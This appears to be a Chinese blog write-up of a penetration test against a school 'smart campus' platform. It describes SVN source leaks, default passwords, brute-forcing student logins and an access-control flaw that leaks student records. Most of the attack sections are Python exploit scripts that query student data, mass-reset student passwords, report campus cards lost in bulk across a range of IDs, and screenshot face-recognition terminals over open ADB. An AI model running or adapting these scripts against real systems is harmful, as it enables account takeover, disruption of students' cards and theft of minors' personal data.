【渗透测试】记一次智慧校园系统一轮游

2022-04-26 13:56:54 浏览数 (1)

记一次智慧校园系统一轮游

一、前言

如发现存在问题发送邮件到:UzJuer@163.com删除文章

关于如何挖逻辑漏洞的思维图

二、智慧校园系统

1、www.xxx-xxxx.com svn泄露
Ps:后台截图(漏洞已上报并已修复)
1.1、漏洞复现

目录扫描

通过目录扫描发现存在.svn,使用svnExploit可下载文件

一些简单的html和js没有发现一些比较有用的东西

不过比较有意思的是,我在这些文件中找到一些代码

这里action指向的地址,简述一下,该平台使用云服务一样的桌面池来管理机器,登录后可访问云磁盘与云桌面池(四台ubuntu服务器,其中一台个人PC,里面有平台源代码,一台Centos)

这⾥给出的账号是admin 密码是abc@123 尝试后发现密码是123456

这上⾯有⽤的就是这个桌⾯池能直接连接到⼏台计算机

账号admin密码123456

密码123456

看包和代码好像是这个云平台的源代码

2、www.xxx-xxx.com:58080
2.1、漏洞复现

目录扫描后发现svn

下载文件,这次需要下载的文件比较多,均为源代码


3、www.xxx-xxx.com:58080 弱口令(家长,学生,老师)
3.1、漏洞复现

教育平台弱口令,WIFI 手机 Burp抓包后发现其实公众号上的智慧校园对接的是www.xxx-xxx.com,获取服务器信息后,扫描发现一个58080端口,然后需要登录,猜测一下账号就是学号,密码88888888,000000,00000000,发现尝试后密码为88888888,

尝试20201008,密码88888888(但是没有权限,但是可以挂失卡,大概猜测挂失后应该卡就刷不了了吧)

而在这里可以挂失任何一张卡

老师的账号


4、www.xxx-xxx.com:58080 学生账号可批量爆破
4.1、漏洞复现

burp抓包后丢Repeater 没有验证码 没有任何验证 比较常规的暴力破解

改一下post参数发现好像没有别的验证,例如验证码,自己用Python写了一个脚本

脚本运行结果(只要返回的信息里面有操作成功,就是密码正确)

5、www.xxx-xxx.com
5.1、漏洞复现

我们通过教师登录平台发现可以查询学生信息,抓取接口后,未做验证可重复查询,Poc如下

代码语言:javascript复制
import requests as req 
def getStudentinfoF(getSearchName): 
 # test = '2020'   getSearchName 
    getURL = 'http://www.xxx-xxx:port/xxxxx/xxxxxxx.do?getStuInfxos&_=1611732x9532114' 
    headers = { 
 'Accept': '*/*', 
 'Origin': 'http://www.xxx-xxx:port', 
 'X-Requested-With': 'XMLHttpRequest', 
 'User-Agent': 'Mozilla/5.0 (Linux; Androidx 10; TNY-AL00 Build/HUAWEITNY-AL00; wv) AppleWebKit/537.36 (KHTML, ' 
 'like Gecko) Version/4.0 Chroxme/77.0.3865.120 MQQBrowser/6.2 TBS/045521 Mobile Safari/537.36 ' 
 'MMWEBID/7559 MicroMessengxer/7.0.15.1660(0x27000F11) Process/tools WeChat/arm64 ' 
 'NetType/WIFI Language/zxh_CN ABI/arm64', 
 'Content-Type': 'application/x-www-formx-urlencoded', 
 'Referer': 'http://www.xxx-xxx:port/wexixin/weixinController.do?toTeacherPage&fun=getstuinfo&childs=37bd317x15123%x85~2', 
 'Accept-Encoding': 'gzip, deflate', 
 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', 
 'Cookie': 'JSESSIONID=AF1x08444123ED874D426F7', 
 } 
    data = { 
 'childs': '37bd371c2b0a123a2937~9001~é%C�# 
        'value': getSearchName 
    } 
    result = req.post(url=getURL, headers=headers, data=data) 
    print(result) 
6、www.xxx-xxx.com:po

挖掘思路,平台PC是没有给出修改密码的接口的,但是手机中的智慧校园是有修改密码的功能的,WIFI Burp代理(记得上证书,不然容易报错),对接口并没有验证,也没有请求次数的限制

6.1、漏洞复现

先抓一个包,重放,没做验证,写脚本前需要先知道2个东西,第一就是childs这个参数为xxxxxxx9001xxxxxxx~1需要获取其中的两个参数,这两个参数第一个为用户的ID,具体怎么生成的不知道,看着像MD5,第二个为姓名,URL编码后的

poc代码如下

下面的代码思路,既然我们想更改任意账号的密码,唯一的要求就是xxx9001xxx~1这个参数第一个xxx哪里来呢?第一个XXX可以在前面的任意学生信息获取漏洞中拿到,获取学生信息中返回的数据有个叫picurl这个参数是学生的照片地址,但是照片的名字去掉.jpg就是这段我们需要的数据,第二个xxx很显然 不麻烦,就是学生的姓名,照这个思路,我们只需要让getStudentinforeturn返回一个数据,然后用正则匹配出来这段URL即可,然后用format把对应的参数填进去即可。

那么如何批量的修改学生账号密码呢,这里给出一种思路,我在漏洞5-水平越权中可以使用学生学号查询学生的信息,例如我需要更改20级弱口令学生的密码,那么只需要2020 range(1000, 9999)即可 修改21级以此类推一个原理,再用正则匹配一下url,和name即可做到批量修改密码。

代码语言:javascript复制
import requests as req 
import getStudentinfo 
import re 
userDefaultPassword = '88888888' 
changeNewPassword = '123456789' 
def changeUserpassword(searchName): 
    reusltinfo = getStudentinfo.getStudentinfoF(searchName) 
    re_resultinfo = re.findall(r'http://www.xxx-xx.com:xxx/xxxx/xxxx/(.*?).jpg"', reusltinfo) 
    r = 'http://xxxx.com/xxxx/xxxxx.do?updatePassword' 
    data = { 
 'childs': '{}~9001~{}~1'.format(re_resultinfo[0], searchName), 
 'oldpwd': userDefaultPassword, 
 'newpwd1': changeNewPassword, 
 'fun': 'xgmm_xs' #This parameter means to change the student's password. If it is to change the teacher's password, the parameter here is xgmm_js 
 } 
    headers = { 
 'Host': 'www.xxx.comm', 
 'Accept': '*/*', 
 'Origin': 'http://xxxx.com', 
 'X-Requestsed-With': 'XMLHttpRequest', 
 'User-Agent': 'UA', 
 'Referer': 'http://xxxx-xxx.com/xxxxx/xxxxxxx.do?toTeacherPage&fun=jsxgmm&childs=XXXXXX~9001~xxxxxx~1&flag=1', 
 'Cookie': 'JSESSIONID=81E52xxF12308DB5C2008E9131BF20B' 
 } 
    result = req.post(url=r, headers=headers, data=data) 
 print(result.text) 
 print('[ ]Change password to', changeNewPassword) 
# getUserinput = input('[ ]Please Input NewUserPassowrd:') 
# getOldPassowrd = input('[ ]Please Input oldUserpassowrd:') 
getsearchName = input('[ ]Please Input SearchName:') 
# This Function is not Input oldPassword 
changeUserpassword(searchName=getsearchName) 
# This Function is define User Input oldPassword 
# changeUserpassword(getNewUserPassword=getUserinput, getOldUserPassword=getOldPassowrd, searchName=getsearchName) 
7、水平越权---www.xxx-xxx

挖掘思路为对抓到能重放的POST请求,我都会进行重放,该系统都没有做验证

7.1、漏洞复现
  • 先上图

POC如下(利用条件:比如有一个登录了cookie并且不能关闭,然后把cookie填入headers中即可,自动化思路也不麻烦,使用requests.session即可,这里就不再赘述)

但是这个有个缺点是不能定向的攻击,意思是,虽然可以登录任意学生账号,但是如果该学生修改密码了,那平台是无法登陆的,那么post请求中的cardid这个参数是拿不到的,因为暂时没发现是如何转换的这个参数,也可能是按顺序生成的,所以只能批量的让一定范围(例如130000->200000)这些数字的卡挂失

代码语言:javascript复制
import requests as req 
def DropStudentid(): 
 # default range (100000 -> 999999) 
 for num in range(135610, 200000): 
        getURL = "http://www.xxx-xxx.com:port/xxxxxx.Card&cardid={}".format(num) 
        headers = { 
 'Content-Length': '29', 
 'Origin': 'http://www.xxx-xxx.com:ports', 
 'X-Requested-With': 'XMLHttpRequest', 
 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36', 
 'Content-Type': 'application/x-www-form-urlencoded', 
 'Referer': 'http://www.xxx-xxx.com:port/userController.do?goLoseCard&_=16181456343224', 
 'Accept-Encoding': 'gzip, deflate', 
 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', 
 'Cookie': 'Q_GENERATEINDEXSTYLE1=shortcut; JSESSIONID=2535611101D2116BB', 
 } 
        data = { 
 'cardstatus':'正常', #url编码 
 } 
        getResult = req.post(url = getURL, headers = headers, data = data) 
 print(getResult.status_code) 
 print(getResult.text) 
8、人脸识别终端adb未授权访问
8.1、漏洞复现
  • 漏洞原理不难,其实也不算是漏洞,因为是通过adb来调试,设备打开了远程调试,所以导致可以连接(但只局限于内网,要发到外网也不麻烦,在内网控一台安卓设备后,外网拿这台设备做跳板即可)
  • 先演示写好的Poc

Poc代码如下 每一台手动的去ADB会比较麻烦,用Python写好脚本一键执行更加方便,并且我需要执行命令只需要更改部分代码即可

代码语言:javascript复制
import os 
import datetime 
import sys 
import time 
adbShellDefault_shell = 'adb shell ' 
adbShellDefault_Connect = 'adb connect ' 
adbShellDefault_Screencap = 'adb shell screencap -p /sdcard/1.png' 
# adbShellDefault_pullScreencap = 'adb pull /sdcard/1.png /Users/apple/Desktop/xxx/TestWebSitePoc/' 
adbShellDefault_disconnect = 'adb disconnect ' 
now_time = datetime.datetime.now().strftime('%Y-%m-%d:%H:%M:%S') 
def getAdbFaceAuthentication_getScreenCap(OpenPortAddressList): 
 print('[*]Now Connect device ip:', OpenPortAddressList) 
    os.system(adbShellDefault_Connect   OpenPortAddressList) # connect device 
 print('[ ]get Screen to sdcard') 
    os.system(adbShellDefault_Screencap) # img save to sdcard directory 
 print('[ ]Create a new directory') 
 # os.system('mkdir /FaceAuthenticationImage/'   OpenPortAddressList)  # Create new Directory 
 print('[ ]get Device to local directory') 
    adbShellDefault_pullScreencap = 'adb pull /sdcard/1.png /Users/apple/Desktop/xxx/xxx/FaceAuthenticationImage/{}/{}.png'.format( 
 OpenPortAddressList, now_time) 
    os.system(adbShellDefault_pullScreencap)# from device pull img save local 
 # os.system(adbShellDefault_pullScreencap)  # from device pull img save local 
 print('[ ]Disconnect device connect') 
    os.system(adbShellDefault_disconnect   OpenPortAddressList) 
if __name__ == '__main__': 
 # print(logo) 
 OpenPortAddressList = ['iplist'] 
 for push in OpenPortAddressList: 
        getAdbFaceAuthentication_getScreenCap(push) 
 # outPutinfoflush() 

0 人点赞